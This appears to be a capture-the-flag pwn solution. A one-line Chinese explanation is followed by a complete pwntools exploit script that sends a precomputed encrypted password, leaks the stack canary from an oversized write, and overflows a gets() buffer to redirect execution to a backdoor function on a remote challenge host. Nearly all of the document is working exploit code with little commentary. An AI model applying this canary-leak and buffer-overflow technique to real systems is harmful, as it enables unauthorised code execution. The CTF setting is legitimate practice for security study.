会对 v2 进行加密,这里需要用 gdb 去调试得到加密后的 v2 的值,然后 write 输出 0x100 个字节会泄露 canary ,之后利用 gets 函数劫持程序执行后门函数
from struct import pack
from LibcSearcher import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
print(p.recv())
def rl(a):
p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('1.14.71.254', 28816)
elf = ELF('./pwn')
# 取消下行 和 pause() 注释,gdb 界面按 c 运行到断点,查看 rbp - 0x40 的值,即为 v2 加密后的值
#gdb.attach(p, 'b *0x401378')
text = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
sa(b'word\n', text)
#pause()
p.recv(0x18)
canary = u64(p.recv(8))
r()
payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(elf.sym['b4ckd00r'])
sl(payload)
p.interactive()
